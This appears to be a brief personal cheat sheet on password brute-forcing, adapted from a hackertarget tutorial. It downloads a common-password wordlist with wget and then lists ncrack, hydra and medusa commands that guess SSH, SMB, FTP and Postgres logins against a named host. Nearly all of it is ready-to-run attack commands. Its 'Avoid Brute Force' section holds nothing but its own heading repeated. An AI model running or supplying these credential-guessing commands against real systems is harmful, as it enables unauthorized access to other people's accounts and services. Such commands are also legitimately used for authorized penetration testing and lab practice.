Bruteforce-passwords

Get the passwords

• wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/500-worst-passwords.txt

ncrack

• ncrack -p 22 --user dummy -P 500-worst-passwords.txt bortus.tuxmen.de

hydra

ssh

• hydra -l dummy -P 500-worst-passwords.txt bortus.tuxmen.de ssh

smb

• hydra -l dummy -P 500-worst-passwords.txt bortus.tuxmen.de smb

ftp

• hydra -l dummy -P 500-worst-passwords.txt bortus.tuxmen.de ftp

ssh

• medusa -u dummy -P 500-worst-passwords.txt -h bortus.tuxmen.de -M ssh

postgres

• medusa -u dummy -P 500-worst-passwords.txt -h bortus.tuxmen.de -M postgres

Avoid Brute Force

• Avoid Brute Force

Source

• https://hackertarget.com/brute-forcing-passwords-with-ncrack-hydra-and-medusa/